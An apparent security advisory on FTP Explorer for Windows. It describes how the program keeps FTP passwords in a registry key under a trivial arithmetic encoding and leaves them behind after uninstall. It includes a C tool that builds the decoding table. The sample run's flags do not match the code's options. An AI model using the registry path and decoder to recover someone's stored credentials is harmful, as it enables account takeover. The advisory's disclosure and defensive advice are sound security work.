COMMAND

    FTP Explorer

SYSTEMS AFFECTED

    Win

PROBLEM

    Nelson Brito found following.  Imagine following scene:

        user -> nelson
        pass -> ABC

    ON Connect  Window, typed  login ==  nelson and  pass == ***(ABC),
    made a connection in my own ftp server.  After this, Nelson  found
    this KEY in Windows REGISTRY:

        HKEY_CURRENT_USER -> Software -> FTP Explorer -> Profiles -> MY_OWN_SERVER

    and found two values:

        Login = nelson
        Type  = 4A4E52

    Looks like a  encrypted password.   Ok, the crypt  function in FTP
    Explorer works like that:  get the ascii hexa value and  increment
    9,  if  the  position  in  password  was  changed, increment 3 per
    position.   IN order  words, a  progression arithmetical.   Nelson
    made a code to proof this, look the result:

        unreal:~/temp$ ./ftpe-crypt -t 3 -i 9 -r 3 -s teste
        Criptografia do FTP Explorer v0.6b - por Nelson Brito
        unreal:~/temp$ more teste
        [...]
        A = 4A = 4D = 50
            `-> correct
        B = 4B = 4E = 51
                 `-> correct
        C = 4C = 4F = 52
                      `-> correct
        [...]

    The code:

    /*
     ** Este  codigo  demostra  como  funciona  a "criptografia" do software FTP
     ** Explorer,  levando-se  em  consideracao  as informacoes  passadas para a
     ** BOS-Br por Hever <Hever@vitech.net>.
     **
     ** author:  Nelson Brito
     ** e-mails: nelson@sekure.org & nelson@secunet.com.br
     ** program: ftpe-crypt.c
     **
     ** ChangeLog:
     ** v 0.6b - arquivo de destino incluido(output file)
     **        - apartir desta versao sera' necessario a utilizacao de todos os
     **          argumentos na linha de comando
     ** v 0.5b - incluido opcoes longas na linha de comando
     **        - problemas da opcao '-h' corrigidos gracas a fpm :*( ) )
     ** v 0.4  - opcoes  de  linha  de comando  acrescentadas,  permitindo que o
     **          usuario "set" suas preferencias [a.k.a. getopt(3)]
     ** v 0.3  - adicionado argumentos passados para a funcao r2()
     **        - contador a ser usado em r2() como argumento
     ** v 0.2  - desenvolvimento das funcao r2() e inclusao de u_abort()) e
     **          logo()
     **        - o length do password foi aumentado
     ** v 0.1  - desenvolvimento inicial do esqueleto do programa, incluindo:
     **          > retirada dos caracteres especiais, ie, so' [a-z][A-Z][0-9]
     **          > uma simples PA, sem utilizacao de formula ou funcao
     **
     ** Agradecimentos a drk, Morauder e fpm pela forca com o getopt(3). =)
     **
     ** Como compilar(How to compile):
     ** lameness:~# gcc -Wall -O3 -g ftpe-crypt.c -o ftpe-crypt
     */

    #include <stdio.h>
    #include <signal.h>
    #include <stdlib.h>
    #include <getopt.h>
    #include <unistd.h>
    #define  VERSION   "0.6b"

    int r2(int n, int p, int i, int b, FILE *fp){
          n=((n+b)+(i*p));
          fprintf(fp, "= %X ", n);
          return(n);
    }

    char usage(char *p){
          fprintf(stderr, "use:     %s -l <length> -i <increment> -r <ratio> -o <output-file>\n", p);
          fprintf(stderr, "example: %s -l 15 -i 9 -r 3 -o outlist\n", p);
          fprintf(stderr, "options:\n\t -l, --length     password's length\n");
          fprintf(stderr, "\t -i, --increment  ASCII Table's increment\n");
          fprintf(stderr, "\t -r, --ratio      PA's ratio\n");
          fprintf(stderr, "\t -o, --output     output file\n");
          fprintf(stderr, "\nfor ftpe's criptography use r=3, i=9\n");
          exit(0);
    }

    int main(int ac, char **av){
       FILE *outlist = NULL;

       register int a = 48;
       int r = 0, inc = 0, ct = 0, op;

       printf("FTP Explorer's Criptography v%s - by Nelson Brito\n", VERSION);

       if(ac != 9) usage(av[0]);

       while(1){
            static struct option long_options[] = {
               {"length",        1, 0, 'l'},
               {"ratio",         1, 0, 'r'},
               {"increment",     1, 0, 'i'},
               {"output",        1, 0, 'o'},
               {0,               0, 0, 0}
            };

            int option_index = 0;
            op = getopt_long(ac, av, "l:r:i:o:", long_options, &option_index);

            if (op == -1) break;

            switch(op){
                  case 'l':
                        ct = atoi(optarg);
                        break;
                  case 'r':
                        r = atoi(optarg);
                        break;
                  case 'i':
                        inc = atoi(optarg);
                        break;
                 case 'o':
                        if(!(outlist=fopen(optarg, "w"))){
                           printf("unable to open %s\n", optarg);
                           exit(0);
                        }
                        break;
                  default:
                        usage(av[0]);
                        break;
            }
       }

       while(a < 123){

            if((a >= 58) && (a <= 64)){
                 printf("%c", (char)0);
                 a++;
            }

            else if((a >= 91) && (a <= 96)){
                 printf("%c", (char)0);
                 a++;
            }

            else{
                  register int c;

                  fprintf(outlist, "%c ", (char)a);
                  for(c = 0 ; c < ct ; c++) r2(a, c, r, inc, outlist);
                  fprintf(outlist, "\n");
                  a++;
            }

       }

       fclose(outlist);

       return(1);
    }

    This  is  a  security  hole  also  because when you uninstall this
    software, it does NOT delete the registry entries.  Therefore,  if
    one installs  FTP Explorer  on a  machine that  previously had  it
    installed, all of the old passwords and accounts are still  there.
    So you can log  into someone else's stuff.   This is especially  a
    concern here at the University of Delaware as many people  install
    and remove shareware from public computing sites.

SOLUTION

    Passwords _cannot_ securely  be stored locally  without encrypting
    them with another password  that the user must  enter.  Even if  a
    "good" crypto algorithm is used,  the key to unlock the  "password
    repository" must be  stored somewhere.   Hopefully this is  in the
    user's brain,  but since  most users  cry foul  when they  have to
    remember passwords, this usuall  gets stored on the  same insecure
    hard drive  that the  "encrypted" secrets  are stored,  all in the
    name  of  user  friendliness.   When  the  key  for decrypting the
    password repository  gets stored,  all you  need to  do is go find
    the  key  and  then  you  can  go  read all the passwords.  Let me
    reiterate: IT  IS NOT  POSSIBLE TO  STORE COMPLETE  SECRETS ON THE
    LOCAL COMPUTER IF THE LOCAL COMPUTER CANNOT BE TRUSTED.

    Don't  write  apps  that  store  passwords  on  the local computer
    without  using  another  password  to  encrypt  them.  Disable all
    "remember this password for  me" checkboxes that keep  cropping up
    in all sorts of apps.